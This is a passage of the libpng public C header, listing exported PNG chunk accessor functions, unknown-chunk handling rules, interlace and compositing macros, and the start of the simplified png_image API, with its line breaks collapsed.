(png_const_structrp png_ptr, png_inforp info_ptr, png_fixed_point int_white_x, png_fixed_point int_white_y, png_fixed_point int_red_x, png_fixed_point int_red_y, png_fixed_point int_green_x, png_fixed_point int_green_y, png_fixed_point int_blue_x, png_fixed_point int_blue_y)) PNG_FIXED_EXPORT(233, void, png_set_cHRM_XYZ_fixed, (png_const_structrp png_ptr, png_inforp info_ptr, png_fixed_point int_red_X, png_fixed_point int_red_Y, png_fixed_point int_red_Z, png_fixed_point int_green_X, png_fixed_point int_green_Y, png_fixed_point int_green_Z, png_fixed_point int_blue_X, png_fixed_point int_blue_Y, png_fixed_point int_blue_Z)) #endif #ifdef PNG_eXIf_SUPPORTED PNG_EXPORT(246, png_uint_32, png_get_eXIf, (png_const_structrp png_ptr, png_inforp info_ptr, png_bytep *exif)); PNG_EXPORT(247, void, png_set_eXIf, (png_const_structrp png_ptr, png_inforp info_ptr, const png_bytep exif)); PNG_EXPORT(248, png_uint_32, png_get_eXIf_1, (png_const_structrp png_ptr, png_const_inforp info_ptr, png_uint_32 *num_exif, png_bytep *exif)); PNG_EXPORT(249, void, png_set_eXIf_1, (png_const_structrp png_ptr, png_inforp info_ptr, const png_uint_32 num_exif, const png_bytep exif)); #endif #ifdef PNG_gAMA_SUPPORTED PNG_FP_EXPORT(137, png_uint_32, png_get_gAMA, (png_const_structrp png_ptr, png_const_inforp info_ptr, double *file_gamma)) PNG_FIXED_EXPORT(138, png_uint_32, png_get_gAMA_fixed, (png_const_structrp png_ptr, png_const_inforp info_ptr, png_fixed_point *int_file_gamma)) #endif #ifdef PNG_gAMA_SUPPORTED PNG_FP_EXPORT(139, void, png_set_gAMA, (png_const_structrp png_ptr, png_inforp info_ptr, double file_gamma)) PNG_FIXED_EXPORT(140, void, png_set_gAMA_fixed, (png_const_structrp png_ptr, png_inforp info_ptr, png_fixed_point int_file_gamma)) #endif #ifdef PNG_hIST_SUPPORTED PNG_EXPORT(141, png_uint_32, png_get_hIST, (png_const_structrp png_ptr, png_inforp info_ptr, png_uint_16p *hist)); PNG_EXPORT(142, void, png_set_hIST, (png_const_structrp png_ptr, png_inforp info_ptr, png_const_uint_16p hist)); #endif PNG_EXPORT(143, png_uint_32, png_get_IHDR, (png_const_structrp png_ptr, png_const_inforp info_ptr, png_uint_32 *width, png_uint_32 *height, int *bit_depth, int *color_type, int *interlace_method, int *compression_method, int *filter_method)); PNG_EXPORT(144, void, png_set_IHDR, (png_const_structrp png_ptr, png_inforp info_ptr, png_uint_32 width, png_uint_32 height, int bit_depth, int color_type, int interlace_method, int compression_method, int filter_method)); #ifdef PNG_oFFs_SUPPORTED PNG_EXPORT(145, png_uint_32, png_get_oFFs, (png_const_structrp png_ptr, png_const_inforp info_ptr, png_int_32 *offset_x, png_int_32 *offset_y, int *unit_type)); #endif #ifdef PNG_oFFs_SUPPORTED PNG_EXPORT(146, void, png_set_oFFs, (png_const_structrp png_ptr, png_inforp info_ptr, png_int_32 offset_x, png_int_32 offset_y, int unit_type)); #endif #ifdef PNG_pCAL_SUPPORTED PNG_EXPORT(147, png_uint_32, png_get_pCAL, (png_const_structrp png_ptr, png_inforp info_ptr, png_charp *purpose, png_int_32 *X0, png_int_32 *X1, int *type, int *nparams, png_charp *units, png_charpp *params)); #endif #ifdef PNG_pCAL_SUPPORTED PNG_EXPORT(148, void, png_set_pCAL, (png_const_structrp png_ptr, png_inforp info_ptr, png_const_charp purpose, png_int_32 X0, png_int_32 X1, int type, int nparams, png_const_charp units, png_charpp params)); #endif #ifdef PNG_pHYs_SUPPORTED PNG_EXPORT(149, png_uint_32, png_get_pHYs, (png_const_structrp png_ptr, png_const_inforp info_ptr, png_uint_32 *res_x, png_uint_32 *res_y, int *unit_type)); #endif #ifdef PNG_pHYs_SUPPORTED PNG_EXPORT(150, void, png_set_pHYs, (png_const_structrp png_ptr, png_inforp info_ptr, png_uint_32 res_x, png_uint_32 res_y, int unit_type)); #endif PNG_EXPORT(151, png_uint_32, png_get_PLTE, (png_const_structrp png_ptr, png_inforp info_ptr, png_colorp *palette, int *num_palette)); PNG_EXPORT(152, void, png_set_PLTE, (png_structrp png_ptr, png_inforp info_ptr, png_const_colorp palette, int num_palette)); #ifdef PNG_sBIT_SUPPORTED PNG_EXPORT(153, png_uint_32, png_get_sBIT, (png_const_structrp png_ptr, png_inforp info_ptr, png_color_8p *sig_bit)); #endif #ifdef PNG_sBIT_SUPPORTED PNG_EXPORT(154, void, png_set_sBIT, (png_const_structrp png_ptr, png_inforp info_ptr, png_const_color_8p sig_bit)); #endif #ifdef PNG_sRGB_SUPPORTED PNG_EXPORT(155, png_uint_32, png_get_sRGB, (png_const_structrp png_ptr, png_const_inforp info_ptr, int *file_srgb_intent)); #endif #ifdef PNG_sRGB_SUPPORTED PNG_EXPORT(156, void, png_set_sRGB, (png_const_structrp png_ptr, png_inforp info_ptr, int srgb_intent)); PNG_EXPORT(157, void, png_set_sRGB_gAMA_and_cHRM, (png_const_structrp png_ptr, png_inforp info_ptr, int srgb_intent)); #endif #ifdef PNG_iCCP_SUPPORTED PNG_EXPORT(158, png_uint_32, png_get_iCCP, (png_const_structrp png_ptr, png_inforp info_ptr, png_charpp name, int *compression_type, png_bytepp profile, png_uint_32 *proflen)); #endif #ifdef PNG_iCCP_SUPPORTED PNG_EXPORT(159, void, png_set_iCCP, (png_const_structrp png_ptr, png_inforp info_ptr, png_const_charp name, int compression_type, png_const_bytep profile, png_uint_32 proflen)); #endif #ifdef PNG_sPLT_SUPPORTED PNG_EXPORT(160, int, png_get_sPLT, (png_const_structrp png_ptr, png_inforp info_ptr, png_sPLT_tpp entries)); #endif #ifdef PNG_sPLT_SUPPORTED PNG_EXPORT(161, void, png_set_sPLT, (png_const_structrp png_ptr, png_inforp info_ptr, png_const_sPLT_tp entries, int nentries)); #endif #ifdef PNG_TEXT_SUPPORTED /* png_get_text also returns the number of text chunks in *num_text */ PNG_EXPORT(162, int, png_get_text, (png_const_structrp png_ptr, png_inforp info_ptr, png_textp *text_ptr, int *num_text)); #endif /* Note while png_set_text() will accept a structure whose text, * language, and translated keywords are NULL pointers, the structure * returned by png_get_text will always contain regular * zero-terminated C strings. They might be empty strings but * they will never be NULL pointers. */ #ifdef PNG_TEXT_SUPPORTED PNG_EXPORT(163, void, png_set_text, (png_const_structrp png_ptr, png_inforp info_ptr, png_const_textp text_ptr, int num_text)); #endif #ifdef PNG_tIME_SUPPORTED PNG_EXPORT(164, png_uint_32, png_get_tIME, (png_const_structrp png_ptr, png_inforp info_ptr, png_timep *mod_time)); #endif #ifdef PNG_tIME_SUPPORTED PNG_EXPORT(165, void, png_set_tIME, (png_const_structrp png_ptr, png_inforp info_ptr, png_const_timep mod_time)); #endif #ifdef PNG_tRNS_SUPPORTED PNG_EXPORT(166, png_uint_32, png_get_tRNS, (png_const_structrp png_ptr, png_inforp info_ptr, png_bytep *trans_alpha, int *num_trans, png_color_16p *trans_color)); #endif #ifdef PNG_tRNS_SUPPORTED PNG_EXPORT(167, void, png_set_tRNS, (png_structrp png_ptr, png_inforp info_ptr, png_const_bytep trans_alpha, int num_trans, png_const_color_16p trans_color)); #endif #ifdef PNG_sCAL_SUPPORTED PNG_FP_EXPORT(168, png_uint_32, png_get_sCAL, (png_const_structrp png_ptr, png_const_inforp info_ptr, int *unit, double *width, double *height)) #if defined(PNG_FLOATING_ARITHMETIC_SUPPORTED) || \ defined(PNG_FLOATING_POINT_SUPPORTED) /* NOTE: this API is currently implemented using floating point arithmetic, * consequently it can only be used on systems with floating point support. * In any case the range of values supported by png_fixed_point is small and it * is highly recommended that png_get_sCAL_s be used instead. */ PNG_FIXED_EXPORT(214, png_uint_32, png_get_sCAL_fixed, (png_const_structrp png_ptr, png_const_inforp info_ptr, int *unit, png_fixed_point *width, png_fixed_point *height)) #endif PNG_EXPORT(169, png_uint_32, png_get_sCAL_s, (png_const_structrp png_ptr, png_const_inforp info_ptr, int *unit, png_charpp swidth, png_charpp sheight)); PNG_FP_EXPORT(170, void, png_set_sCAL, (png_const_structrp png_ptr, png_inforp info_ptr, int unit, double width, double height)) PNG_FIXED_EXPORT(213, void, png_set_sCAL_fixed, (png_const_structrp png_ptr, png_inforp info_ptr, int unit, png_fixed_point width, png_fixed_point height)) PNG_EXPORT(171, void, png_set_sCAL_s, (png_const_structrp png_ptr, png_inforp info_ptr, int unit, png_const_charp swidth, png_const_charp sheight)); #endif /* sCAL */ #ifdef PNG_SET_UNKNOWN_CHUNKS_SUPPORTED /* Provide the default handling for all unknown chunks or, optionally, for * specific unknown chunks. * * NOTE: prior to 1.6.0 the handling specified for particular chunks on read was * ignored and the default was used, the per-chunk setting only had an effect on * write. If you wish to have chunk-specific handling on read in code that must * work on earlier versions you must use a user chunk callback to specify the * desired handling (keep or discard.) * * The 'keep' parameter is a PNG_HANDLE_CHUNK_ value as listed below. The * parameter is interpreted as follows: * * READ: * PNG_HANDLE_CHUNK_AS_DEFAULT: * Known chunks: do normal libpng processing, do not keep the chunk (but * see the comments below about PNG_HANDLE_AS_UNKNOWN_SUPPORTED) * Unknown chunks: for a specific chunk use the global default, when used * as the default discard the chunk data. * PNG_HANDLE_CHUNK_NEVER: * Discard the chunk data. * PNG_HANDLE_CHUNK_IF_SAFE: * Keep the chunk data if the chunk is not critical else raise a chunk * error. * PNG_HANDLE_CHUNK_ALWAYS: * Keep the chunk data. * * If the chunk data is saved it can be retrieved using png_get_unknown_chunks, * below. Notice that specifying "AS_DEFAULT" as a global default is equivalent * to specifying "NEVER", however when "AS_DEFAULT" is used for specific chunks * it simply resets the behavior to the libpng default. * * INTERACTION WTIH USER CHUNK CALLBACKS: * The per-chunk handling is always used when there is a png_user_chunk_ptr * callback and the callback returns 0; the chunk is then always stored *unless* * it is critical and the per-chunk setting is other than ALWAYS. Notice that * the global default is *not* used in this case. (In effect the per-chunk * value is incremented to at least IF_SAFE.) * * IMPORTANT NOTE: this behavior will change in libpng 1.7 - the global and * per-chunk defaults will be honored. If you want to preserve the current * behavior when your callback returns 0 you must set PNG_HANDLE_CHUNK_IF_SAFE * as the default - if you don't do this libpng 1.6 will issue a warning. * * If you want unhandled unknown chunks to be discarded in libpng 1.6 and * earlier simply return '1' (handled). * * PNG_HANDLE_AS_UNKNOWN_SUPPORTED: * If this is *not* set known chunks will always be handled by libpng and * will never be stored in the unknown chunk list. Known chunks listed to * png_set_keep_unknown_chunks will have no effect. If it is set then known * chunks listed with a keep other than AS_DEFAULT will *never* be processed * by libpng, in addition critical chunks must either be processed by the * callback or saved. * * The IHDR and IEND chunks must not be listed. Because this turns off the * default handling for chunks that would otherwise be recognized the * behavior of libpng transformations may well become incorrect! * * WRITE: * When writing chunks the options only apply to the chunks specified by * png_set_unknown_chunks (below), libpng will *always* write known chunks * required by png_set_ calls and will always write the core critical chunks * (as required for PLTE). * * Each chunk in the png_set_unknown_chunks list is looked up in the * png_set_keep_unknown_chunks list to find the keep setting, this is then * interpreted as follows: * * PNG_HANDLE_CHUNK_AS_DEFAULT: * Write safe-to-copy chunks and write other chunks if the global * default is set to _ALWAYS, otherwise don't write this chunk. * PNG_HANDLE_CHUNK_NEVER: * Do not write the chunk. * PNG_HANDLE_CHUNK_IF_SAFE: * Write the chunk if it is safe-to-copy, otherwise do not write it. * PNG_HANDLE_CHUNK_ALWAYS: * Write the chunk. * * Note that the default behavior is effectively the opposite of the read case - * in read unknown chunks are not stored by default, in write they are written * by default. Also the behavior of PNG_HANDLE_CHUNK_IF_SAFE is very different * - on write the safe-to-copy bit is checked, on read the critical bit is * checked and on read if the chunk is critical an error will be raised. * * num_chunks: * =========== * If num_chunks is positive, then the "keep" parameter specifies the manner * for handling only those chunks appearing in the chunk_list array, * otherwise the chunk list array is ignored. * * If num_chunks is 0 the "keep" parameter specifies the default behavior for * unknown chunks, as described above. * * If num_chunks is negative, then the "keep" parameter specifies the manner * for handling all unknown chunks plus all chunks recognized by libpng * except for the IHDR, PLTE, tRNS, IDAT, and IEND chunks (which continue to * be processed by libpng. */ #ifdef PNG_HANDLE_AS_UNKNOWN_SUPPORTED PNG_EXPORT(172, void, png_set_keep_unknown_chunks, (png_structrp png_ptr, int keep, png_const_bytep chunk_list, int num_chunks)); #endif /* HANDLE_AS_UNKNOWN */ /* The "keep" PNG_HANDLE_CHUNK_ parameter for the specified chunk is returned; * the result is therefore true (non-zero) if special handling is required, * false for the default handling. */ PNG_EXPORT(173, int, png_handle_as_unknown, (png_const_structrp png_ptr, png_const_bytep chunk_name)); #endif /* SET_UNKNOWN_CHUNKS */ #ifdef PNG_STORE_UNKNOWN_CHUNKS_SUPPORTED PNG_EXPORT(174, void, png_set_unknown_chunks, (png_const_structrp png_ptr, png_inforp info_ptr, png_const_unknown_chunkp unknowns, int num_unknowns)); /* NOTE: prior to 1.6.0 this routine set the 'location' field of the added * unknowns to the location currently stored in the png_struct. This is * invariably the wrong value on write. To fix this call the following API * for each chunk in the list with the correct location. If you know your * code won't be compiled on earlier versions you can rely on * png_set_unknown_chunks(write-ptr, png_get_unknown_chunks(read-ptr)) doing * the correct thing. */ PNG_EXPORT(175, void, png_set_unknown_chunk_location, (png_const_structrp png_ptr, png_inforp info_ptr, int chunk, int location)); PNG_EXPORT(176, int, png_get_unknown_chunks, (png_const_structrp png_ptr, png_inforp info_ptr, png_unknown_chunkpp entries)); #endif /* Png_free_data() will turn off the "valid" flag for anything it frees. * If you need to turn it off for a chunk that your application has freed, * you can use png_set_invalid(png_ptr, info_ptr, PNG_INFO_CHNK); */ PNG_EXPORT(177, void, png_set_invalid, (png_const_structrp png_ptr, png_inforp info_ptr, int mask)); #ifdef PNG_INFO_IMAGE_SUPPORTED /* The "params" pointer is currently not used and is for future expansion. */ #ifdef PNG_SEQUENTIAL_READ_SUPPORTED PNG_EXPORT(178, void, png_read_png, (png_structrp png_ptr, png_inforp info_ptr, int transforms, png_voidp params)); #endif #ifdef PNG_WRITE_SUPPORTED PNG_EXPORT(179, void, png_write_png, (png_structrp png_ptr, png_inforp info_ptr, int transforms, png_voidp params)); #endif #endif PNG_EXPORT(180, png_const_charp, png_get_copyright, (png_const_structrp png_ptr)); PNG_EXPORT(181, png_const_charp, png_get_header_ver, (png_const_structrp png_ptr)); PNG_EXPORT(182, png_const_charp, png_get_header_version, (png_const_structrp png_ptr)); PNG_EXPORT(183, png_const_charp, png_get_libpng_ver, (png_const_structrp png_ptr)); #ifdef PNG_MNG_FEATURES_SUPPORTED PNG_EXPORT(184, png_uint_32, png_permit_mng_features, (png_structrp png_ptr, png_uint_32 mng_features_permitted)); #endif /* For use in png_set_keep_unknown, added to version 1.2.6 */ #define PNG_HANDLE_CHUNK_AS_DEFAULT 0 #define PNG_HANDLE_CHUNK_NEVER 1 #define PNG_HANDLE_CHUNK_IF_SAFE 2 #define PNG_HANDLE_CHUNK_ALWAYS 3 #define PNG_HANDLE_CHUNK_LAST 4 /* Strip the prepended error numbers ("#nnn ") from error and warning * messages before passing them to the error or warning handler. */ #ifdef PNG_ERROR_NUMBERS_SUPPORTED PNG_EXPORT(185, void, png_set_strip_error_numbers, (png_structrp png_ptr, png_uint_32 strip_mode)); #endif /* Added in libpng-1.2.6 */ #ifdef PNG_SET_USER_LIMITS_SUPPORTED PNG_EXPORT(186, void, png_set_user_limits, (png_structrp png_ptr, png_uint_32 user_width_max, png_uint_32 user_height_max)); PNG_EXPORT(187, png_uint_32, png_get_user_width_max, (png_const_structrp png_ptr)); PNG_EXPORT(188, png_uint_32, png_get_user_height_max, (png_const_structrp png_ptr)); /* Added in libpng-1.4.0 */ PNG_EXPORT(189, void, png_set_chunk_cache_max, (png_structrp png_ptr, png_uint_32 user_chunk_cache_max)); PNG_EXPORT(190, png_uint_32, png_get_chunk_cache_max, (png_const_structrp png_ptr)); /* Added in libpng-1.4.1 */ PNG_EXPORT(191, void, png_set_chunk_malloc_max, (png_structrp png_ptr, png_alloc_size_t user_chunk_cache_max)); PNG_EXPORT(192, png_alloc_size_t, png_get_chunk_malloc_max, (png_const_structrp png_ptr)); #endif #if defined(PNG_INCH_CONVERSIONS_SUPPORTED) PNG_EXPORT(193, png_uint_32, png_get_pixels_per_inch, (png_const_structrp png_ptr, png_const_inforp info_ptr)); PNG_EXPORT(194, png_uint_32, png_get_x_pixels_per_inch, (png_const_structrp png_ptr, png_const_inforp info_ptr)); PNG_EXPORT(195, png_uint_32, png_get_y_pixels_per_inch, (png_const_structrp png_ptr, png_const_inforp info_ptr)); PNG_FP_EXPORT(196, float, png_get_x_offset_inches, (png_const_structrp png_ptr, png_const_inforp info_ptr)) #ifdef PNG_FIXED_POINT_SUPPORTED /* otherwise not implemented. */ PNG_FIXED_EXPORT(211, png_fixed_point, png_get_x_offset_inches_fixed, (png_const_structrp png_ptr, png_const_inforp info_ptr)) #endif PNG_FP_EXPORT(197, float, png_get_y_offset_inches, (png_const_structrp png_ptr, png_const_inforp info_ptr)) #ifdef PNG_FIXED_POINT_SUPPORTED /* otherwise not implemented. */ PNG_FIXED_EXPORT(212, png_fixed_point, png_get_y_offset_inches_fixed, (png_const_structrp png_ptr, png_const_inforp info_ptr)) #endif # ifdef PNG_pHYs_SUPPORTED PNG_EXPORT(198, png_uint_32, png_get_pHYs_dpi, (png_const_structrp png_ptr, png_const_inforp info_ptr, png_uint_32 *res_x, png_uint_32 *res_y, int *unit_type)); # endif /* pHYs */ #endif /* INCH_CONVERSIONS */ /* Added in libpng-1.4.0 */ #ifdef PNG_IO_STATE_SUPPORTED PNG_EXPORT(199, png_uint_32, png_get_io_state, (png_const_structrp png_ptr)); /* Removed from libpng 1.6; use png_get_io_chunk_type. */ PNG_REMOVED(200, png_const_bytep, png_get_io_chunk_name, (png_structrp png_ptr), PNG_DEPRECATED) PNG_EXPORT(216, png_uint_32, png_get_io_chunk_type, (png_const_structrp png_ptr)); /* The flags returned by png_get_io_state() are the following: */ # define PNG_IO_NONE 0x0000 /* no I/O at this moment */ # define PNG_IO_READING 0x0001 /* currently reading */ # define PNG_IO_WRITING 0x0002 /* currently writing */ # define PNG_IO_SIGNATURE 0x0010 /* currently at the file signature */ # define PNG_IO_CHUNK_HDR 0x0020 /* currently at the chunk header */ # define PNG_IO_CHUNK_DATA 0x0040 /* currently at the chunk data */ # define PNG_IO_CHUNK_CRC 0x0080 /* currently at the chunk crc */ # define PNG_IO_MASK_OP 0x000f /* current operation: reading/writing */ # define PNG_IO_MASK_LOC 0x00f0 /* current location: sig/hdr/data/crc */ #endif /* IO_STATE */ /* Interlace support. The following macros are always defined so that if * libpng interlace handling is turned off the macros may be used to handle * interlaced images within the application. */ #define PNG_INTERLACE_ADAM7_PASSES 7 /* Two macros to return the first row and first column of the original, * full, image which appears in a given pass. 'pass' is in the range 0 * to 6 and the result is in the range 0 to 7. */ #define PNG_PASS_START_ROW(pass) (((1&~(pass))<<(3-((pass)>>1)))&7) #define PNG_PASS_START_COL(pass) (((1& (pass))<<(3-(((pass)+1)>>1)))&7) /* A macro to return the offset between pixels in the output row for a pair of * pixels in the input - effectively the inverse of the 'COL_SHIFT' macro that * follows. Note that ROW_OFFSET is the offset from one row to the next whereas * COL_OFFSET is from one column to the next, within a row. */ #define PNG_PASS_ROW_OFFSET(pass) ((pass)>2?(8>>(((pass)-1)>>1)):8) #define PNG_PASS_COL_OFFSET(pass) (1<<((7-(pass))>>1)) /* Two macros to help evaluate the number of rows or columns in each * pass. This is expressed as a shift - effectively log2 of the number or * rows or columns in each 8x8 tile of the original image. */ #define PNG_PASS_ROW_SHIFT(pass) ((pass)>2?(8-(pass))>>1:3) #define PNG_PASS_COL_SHIFT(pass) ((pass)>1?(7-(pass))>>1:3) /* Hence two macros to determine the number of rows or columns in a given * pass of an image given its height or width. In fact these macros may * return non-zero even though the sub-image is empty, because the other * dimension may be empty for a small image. */ #define PNG_PASS_ROWS(height, pass) (((height)+(((1<<PNG_PASS_ROW_SHIFT(pass))\ -1)-PNG_PASS_START_ROW(pass)))>>PNG_PASS_ROW_SHIFT(pass)) #define PNG_PASS_COLS(width, pass) (((width)+(((1<<PNG_PASS_COL_SHIFT(pass))\ -1)-PNG_PASS_START_COL(pass)))>>PNG_PASS_COL_SHIFT(pass)) /* For the reader row callbacks (both progressive and sequential) it is * necessary to find the row in the output image given a row in an interlaced * image, so two more macros: */ #define PNG_ROW_FROM_PASS_ROW(y_in, pass) \ (((y_in)<<PNG_PASS_ROW_SHIFT(pass))+PNG_PASS_START_ROW(pass)) #define PNG_COL_FROM_PASS_COL(x_in, pass) \ (((x_in)<<PNG_PASS_COL_SHIFT(pass))+PNG_PASS_START_COL(pass)) /* Two macros which return a boolean (0 or 1) saying whether the given row * or column is in a particular pass. These use a common utility macro that * returns a mask for a given pass - the offset 'off' selects the row or * column version. The mask has the appropriate bit set for each column in * the tile. */ #define PNG_PASS_MASK(pass,off) ( \ ((0x110145AF>>(((7-(off))-(pass))<<2)) & 0xF) | \ ((0x01145AF0>>(((7-(off))-(pass))<<2)) & 0xF0)) #define PNG_ROW_IN_INTERLACE_PASS(y, pass) \ ((PNG_PASS_MASK(pass,0) >> ((y)&7)) & 1) #define PNG_COL_IN_INTERLACE_PASS(x, pass) \ ((PNG_PASS_MASK(pass,1) >> ((x)&7)) & 1) #ifdef PNG_READ_COMPOSITE_NODIV_SUPPORTED /* With these routines we avoid an integer divide, which will be slower on * most machines. However, it does take more operations than the corresponding * divide method, so it may be slower on a few RISC systems. There are two * shifts (by 8 or 16 bits) and an addition, versus a single integer divide. * * Note that the rounding factors are NOT supposed to be the same! 128 and * 32768 are correct for the NODIV code; 127 and 32767 are correct for the * standard method. * * [Optimized code by Greg Roelofs and Mark Adler...blame us for bugs. :-) ] */ /* fg and bg should be in `gamma 1.0' space; alpha is the opacity */ # define png_composite(composite, fg, alpha, bg) \ { \ png_uint_16 temp = (png_uint_16)((png_uint_16)(fg) \ * (png_uint_16)(alpha) \ + (png_uint_16)(bg)*(png_uint_16)(255 \ - (png_uint_16)(alpha)) + 128); \ (composite) = (png_byte)(((temp + (temp >> 8)) >> 8) & 0xff); \ } # define png_composite_16(composite, fg, alpha, bg) \ { \ png_uint_32 temp = (png_uint_32)((png_uint_32)(fg) \ * (png_uint_32)(alpha) \ + (png_uint_32)(bg)*(65535 \ - (png_uint_32)(alpha)) + 32768); \ (composite) = (png_uint_16)(0xffff & ((temp + (temp >> 16)) >> 16)); \ } #else /* Standard method using integer division */ # define png_composite(composite, fg, alpha, bg) \ (composite) = \ (png_byte)(0xff & (((png_uint_16)(fg) * (png_uint_16)(alpha) + \ (png_uint_16)(bg) * (png_uint_16)(255 - (png_uint_16)(alpha)) + \ 127) / 255)) # define png_composite_16(composite, fg, alpha, bg) \ (composite) = \ (png_uint_16)(0xffff & (((png_uint_32)(fg) * (png_uint_32)(alpha) + \ (png_uint_32)(bg)*(png_uint_32)(65535 - (png_uint_32)(alpha)) + \ 32767) / 65535)) #endif /* READ_COMPOSITE_NODIV */ #ifdef PNG_READ_INT_FUNCTIONS_SUPPORTED PNG_EXPORT(201, png_uint_32, png_get_uint_32, (png_const_bytep buf)); PNG_EXPORT(202, png_uint_16, png_get_uint_16, (png_const_bytep buf)); PNG_EXPORT(203, png_int_32, png_get_int_32, (png_const_bytep buf)); #endif PNG_EXPORT(204, png_uint_32, png_get_uint_31, (png_const_structrp png_ptr, png_const_bytep buf)); /* No png_get_int_16 -- may be added if there's a real need for it. */ /* Place a 32-bit number into a buffer in PNG byte order (big-endian). */ #ifdef PNG_WRITE_INT_FUNCTIONS_SUPPORTED PNG_EXPORT(205, void, png_save_uint_32, (png_bytep buf, png_uint_32 i)); #endif #ifdef PNG_SAVE_INT_32_SUPPORTED PNG_EXPORT(206, void, png_save_int_32, (png_bytep buf, png_int_32 i)); #endif /* Place a 16-bit number into a buffer in PNG byte order. * The parameter is declared unsigned int, not png_uint_16, * just to avoid potential problems on pre-ANSI C compilers. */ #ifdef PNG_WRITE_INT_FUNCTIONS_SUPPORTED PNG_EXPORT(207, void, png_save_uint_16, (png_bytep buf, unsigned int i)); /* No png_save_int_16 -- may be added if there's a real need for it. */ #endif #ifdef PNG_USE_READ_MACROS /* Inline macros to do direct reads of bytes from the input buffer. * The png_get_int_32() routine assumes we are using two's complement * format for negative values, which is almost certainly true. */ # define PNG_get_uint_32(buf) \ (((png_uint_32)(*(buf)) << 24) + \ ((png_uint_32)(*((buf) + 1)) << 16) + \ ((png_uint_32)(*((buf) + 2)) << 8) + \ ((png_uint_32)(*((buf) + 3)))) /* From libpng-1.4.0 until 1.4.4, the png_get_uint_16 macro (but not the * function) incorrectly returned a value of type png_uint_32. */ # define PNG_get_uint_16(buf) \ ((png_uint_16) \ (((unsigned int)(*(buf)) << 8) + \ ((unsigned int)(*((buf) + 1))))) # define PNG_get_int_32(buf) \ ((png_int_32)((*(buf) & 0x80) \ ? -((png_int_32)(((png_get_uint_32(buf)^0xffffffffU)+1U)&0x7fffffffU)) \ : (png_int_32)png_get_uint_32(buf))) /* If PNG_PREFIX is defined the same thing as below happens in pnglibconf.h, * but defining a macro name prefixed with PNG_PREFIX. */ # ifndef PNG_PREFIX # define png_get_uint_32(buf) PNG_get_uint_32(buf) # define png_get_uint_16(buf) PNG_get_uint_16(buf) # define png_get_int_32(buf) PNG_get_int_32(buf) # endif #else # ifdef PNG_PREFIX /* No macros; revert to the (redefined) function */ # define PNG_get_uint_32 (png_get_uint_32) # define PNG_get_uint_16 (png_get_uint_16) # define PNG_get_int_32 (png_get_int_32) # endif #endif #ifdef PNG_CHECK_FOR_INVALID_INDEX_SUPPORTED PNG_EXPORT(242, void, png_set_check_for_invalid_index, (png_structrp png_ptr, int allowed)); # ifdef PNG_GET_PALETTE_MAX_SUPPORTED PNG_EXPORT(243, int, png_get_palette_max, (png_const_structp png_ptr, png_const_infop info_ptr)); # endif #endif /* CHECK_FOR_INVALID_INDEX */ /******************************************************************************* * Section 5: SIMPLIFIED API ******************************************************************************* * * Please read the documentation in libpng-manual.txt (TODO: write said * documentation) if you don't understand what follows. * * The simplified API hides the details of both libpng and the PNG file format * itself. It allows PNG files to be read into a very limited number of * in-memory bitmap formats or to be written from the same formats. If these * formats do not accomodate your needs then you can, and should, use the more * sophisticated APIs above - these support a wide variety of in-memory formats * and a wide variety of sophisticated transformations to those formats as well * as a wide variety of APIs to manipulate ancillary information. * * To read a PNG file using the simplified API: * * 1) Declare a 'png_image' structure (see below) on the stack, set the * version field to PNG_IMAGE_VERSION and the 'opaque' pointer to NULL * (this is REQUIRED, your program may crash if you don't do it.) * 2) Call the appropriate png_image_begin_read... function. * 3) Set the png_image 'format' member to the required sample format. * 4) Allocate a buffer for the image and, if required, the color-map. * 5) Call png_image_finish_read to read the image and, if required, the * color-map into your buffers. * * There are no restrictions on the format of the PNG input itself; all valid * color types, bit depths, and interlace methods are acceptable, and the * input image is transformed as necessary to the requested in-memory format * during the png_image_finish_read() step. The only caveat is that if you * request a color-mapped image from a PNG that is full-color or makes * complex use of an alpha channel the transformation is extremely lossy and the * result may look terrible. * * To write a PNG file using the simplified API: * * 1) Declare a 'png_image' structure on the stack and memset() it to all zero. * 2) Initialize the members of the structure that describe the image, setting * the 'format' member to the format of the image samples. * 3) Call the appropriate png_image_write... function with a pointer to the * image and, if necessary, the color-map to write the PNG data. * * png_image is a structure that describes the in-memory format of an image * when it is being read or defines the in-memory format of an image that you * need to write: */ #if defined(PNG_SIMPLIFIED_READ_SUPPORTED) || \ defined(PNG_SIMPLIFIED_WRITE_SUPPORTED) #define PNG_IMAGE_VERSION 1 typedef struct png_control *png_controlp; typedef struct { png_controlp opaque; /* Initialize to NULL, free with png_image_free */ png_uint_32 version; /* Set to PNG_IMAGE_VERSION */ png_uint_32 width; /* Image width in pixels (columns) */ png_uint_32 height; /* Image height in pixels (rows) */ png_uint_32 format; /* Image format as defined below */ png_uint_32 flags; /* A bit mask containing informational flags */ png_uint_32 colormap_entries; /* Number of entries in the color-map */ /* In the event of an error or warning the following field will be set to a * non-zero value and the 'message' field will contain a '\0' terminated * string with the libpng error or warning message. If both warnings and * an error were encountered, only the error is recorded. If there * are multiple warnings, only the first one is recorded. * * The upper 30 bits of this value are reserved, the low two bits contain * a value as follows: */ # define PNG_IMAGE_WARNING 1 # define PNG_IMAGE_ERROR 2 /* * The result is a two-bit code such that a value more than 1 indicates * a failure in the API just called: * * 0 - no warning or error * 1 - warning * 2 - error * 3 - error preceded by warning */ # define PNG_IMAGE_FAILED(png_cntrl) ((((png_cntrl).warning_or_error)&0x03)>1) png_uint_32 warning_or_error; char message[64]; } png_image, *png_imagep; /* The samples of the image have one to four channels whose components have * original values in the range 0 to 1.0: * * 1: A single gray or luminance channel (G). * 2: A gray/luminance channel and an alpha channel (GA). * 3: Three red, green, blue color channels (RGB). * 4: Three color channels and an alpha channel (RGBA). * * The components are encoded in one of two ways: * * a) As a small integer, value 0..255, contained in a single byte. For the * alpha channel the original value is simply value/255. For the color or * luminance channels the value is encoded according to the sRGB specification * and matches the 8-bit format expected by typical display devices. * * The color/gray channels are not scaled (pre-multiplied) by the alpha * channel and are suitable for passing to color management software. * * b) As a value in the range 0..65535, contained in a 2-byte integer. All * channels can be converted to the original value by dividing by 65535; all * channels are linear. Color channels use the RGB encoding (RGB end-points) of * the sRGB specification. This encoding is identified by the * PNG_FORMAT_FLAG_LINEAR flag below. * * When the simplified API needs to convert between sRGB and linear colorspaces, * the actual sRGB transfer curve defined in the sRGB specification (see the * article at https://en.wikipedia.org/wiki/SRGB) is used, not the gamma=1/2.2 * approximation used elsewhere in libpng. * * When an alpha channel is present it is expected to denote pixel coverage * of the color or luminance channels and is returned as an associated alpha * channel: the color/gray channels are scaled (pre-multiplied) by the alpha * value. * * The samples are either contained directly in the image data, between 1 and 8 